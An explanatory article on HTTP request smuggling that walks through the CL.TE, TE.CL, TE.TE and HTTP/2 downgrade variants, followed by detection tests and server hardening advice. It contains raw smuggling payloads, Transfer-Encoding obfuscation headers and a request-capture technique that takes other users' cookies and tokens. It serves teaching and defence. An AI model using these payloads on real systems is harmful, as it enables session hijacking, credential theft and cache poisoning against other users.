HTTP Request Smuggling - Desynchronisierung von HTTP-Proxies
HTTP Request Smuggling (CWE-444) is an attack that exploits desynchronization between the front end (reverse proxy, CDN) and the back-end server. Differences in how Content-Length and Transfer-Encoding: chunked are interpreted allow attackers to "smuggle" HTTP requests. Variants: CL.TE (front-end uses Content-Length, back-end uses Transfer-Encoding), TE.CL (reverse), TE.TE (both use TE, but handle them differently). Result: hijacking other users’ requests, bypassing authentication, cache poisoning.
HTTP Request Smuggling is an advanced attack technique that was comprehensively documented in 2019 by James Kettle (PortSwigger). The core principle: If a load balancer and a backend server parse the same request differently, an attacker can "smuggle" a second request into the TCP data stream—which is then processed by the backend as a separate request from another user.
Protocol Basics
HTTP/1.1 Request Length Determination - two methods:
Content-Length (CL):
POST /search HTTP/1.1
Content-Length: 11
q=smuggling
→ Body is exactly 11 bytes long
Transfer-Encoding: chunked (TE):
POST /search HTTP/1.1
Transfer-Encoding: chunked
b ← Chunk size in hex (11 decimal)
q=smuggling
0 ← Termination chunk (empty)
← Blank line after the last chunk
RFC 7230: If both headers are present → IGNORE Content-Length!
→ But different implementations handle this DIFFERENTLY!
→ This is the basis for HTTP Request Smuggling
Request pipeline in multi-tier architecture:
Browser → [Front-end: Load Balancer / CDN / WAF] → [Back-end: App Server]
Problem:
→ Front-end sees one HTTP request boundary
→ Back-end sees a DIFFERENT HTTP request boundary
→ Difference = "Smuggled Request"
Attack Types: CL.TE, TE.CL, TE.TE
1. CL.TE - Front-End: Content-Length, Back-End: Transfer-Encoding:
Attacker sends:
POST / HTTP/1.1
Host: victim.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Front-End (uses CL=13):
→ Sees: "0\r\n\r\nSMUGGLED" as a request (13 bytes)
→ Forwards the entire request
Back-End (uses TE):
→ Chunk: "0" = End of request → First request is complete!
→ "SMUGGLED" = Start of the NEXT request!
→ Next user request is appended to "SMUGGLED"
---
2. TE.CL - Front-End: Transfer-Encoding, Back-End: Content-Length:
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-End (uses TE):
→ Chunk 1: "SMUGGLED" (8 bytes)
→ Termination chunk: "0"
→ A complete request
Back-end (uses CL=3):
→ Body = "8\r\n" (3 bytes!)
→ Rest ("SMUGGLED\r\n0\r\n\r\n") = Start of the next request!
---
3. TE.TE - Both: Transfer-Encoding, but different handling:
Transfer-Encoding: chunked
Transfer-Encoding: cow ← unknown encoding
→ Front-end recognizes "chunked" and processes TE
→ Back-end recognizes "cow" as unknown → falls back to CL!
→ Result: effectively a TE.CL scenario
Additional obfuscation variants:
Transfer-Encoding: xchunked
Transfer-Encoding :\tchunked ← Tab before colon
Transfer-Encoding: chunked
Transfer-encoding: chunked ← Lowercase (RFC: Header case-insensitive!)
X: X[\n]Transfer-Encoding: chunked ← Header injection
---
4. HTTP/2 Downgrade Smuggling (H2.CL / H2.TE):
→ CDN/front-end accepts HTTP/2 from the client
→ But: Backend only supports HTTP/1.1
→ CDN converts HTTP/2 → HTTP/1.1 (Downgrade!)
Attacker injects into HTTP/2 request header:
:method: POST
:path: /
:authority: victim.com
content-length: 0
transfer-encoding: chunked
→ Front-end ignores TE in HTTP/2 (no Chunked in H2!)
→ Backend receives HTTP/1.1 with BOTH headers → Desynchronization!
Attack Targets and Impact
What is possible with smuggling?
1. HTTP Request Capturing (stealing other users' requests):
Attacker smuggles:
POST /comment HTTP/1.1
Host: victim.com
Content-Length: 400 ← Large CL = waits for 400 bytes!
action=store&body;= ← Request body starts here
→ Next user request is appended (until 400 bytes full!)
→ Attacker reads: Cookie, Authorization header, POST body
→ Victim’s credentials + session token stolen!
2. Privilege escalation via internal redirect:
Back-end only allows access to /admin from 127.0.0.1:
Attacker sends:
GET /admin HTTP/1.1
Host: localhost
→ Back-end sees request from "localhost" (front-end forwarded it internally!)
→ Admin interface accessible!
3. WAF bypass:
WAF checks: POST /api/admin HTTP/1.1 → BLOCKED!
Attacker smuggles admin request as part of an allowed request:
→ WAF sees normal request
→ Back-end server processes the admin endpoint!
4. Cache Poisoning via Smuggling:
Attacker smuggles in a request whose response is cached:
GET /static/js/app.js HTTP/1.1
Cached response contains attacker payload!
→ All subsequent cache requests deliver attacker JS!
5. Response Queue Poisoning (HTTP/2):
→ The attacker sends so many requests that the response queue becomes desynchronized
→ Other users receive incorrect responses
→ Other users’ session data becomes visible!
Detection and Testing
Testing approach (for authorized tests only!):
Burp Suite - HTTP Request Smuggler Extension:
→ Burp App Store: HTTP Request Smuggler
→ Automated: Scan → Issues → HTTP Request Smuggling
→ Manual: Repeater with non-default HTTP/1
Timing-based Detection (CL.TE):
Step 1 - Normal Request (Baseline):
POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
12ab
HELLO
→ Normal timeout?
Step 2 - Test for anomaly:
POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding: chunked
0
X
→ If back-end uses TE: waits for 6-byte body (CL)!
→ Response arrives DELAYED → CL.TE confirmed!
Differential Response Analysis:
→ Send two identical requests
→ If the second request returns a different response → "Poisoned buffer"!
→ Proves: the first request left data in the back-end buffer
Important:
→ Test ONLY on your own/authorized target systems!
→ Smuggling can affect other users → Collateral damage possible!
→ Always start with very short/harmless payloads (minimize damage)
Protective Measures
Defense Strategies:
1. Use HTTP/2 end-to-end (no downgrade conversion):
→ Both front-end and back-end use HTTP/2 → no downgrade smuggling
→ HTTP/2 has a clear frame-based protocol (no CL/TE conflict!)
2. Front-end: Enforce request normalization:
HAProxy:
option http-server-close
option forwardfor
# Normalizes CL/TE before forwarding
Nginx:
proxy_http_version 1.1; # HTTP/1.1 for upstream
proxy_set_header Connection ""; # Prevents connection reuse
3. Reject ambiguous requests (both present → error):
→ If BOTH Content-Length AND Transfer-Encoding are present → return 400
→ RFC-compliant behavior: ignore Content-Length in case of conflict (HTTP/1.1)
4. Back-end server configuration:
Apache: RejectOverlappingHeaders On (from 2.4.55)
IIS: Directly affected by CL.TE → Update to the latest version!
Tomcat: rejectIllegalHeader=true in server.xml
5. Monitoring:
□ HTTP 400 errors are increasing: possibly smuggling tests
□ Unusual chunked encoding requests to static endpoints
□ Log and alert on requests with both CL and TE
6. WAF rules (as a supplement, not a replacement!):
→ Reject requests with both headers (CL + TE)
→ Detect Transfer-Encoding obfuscation (tab, space)
→ Block TE headers with unknown values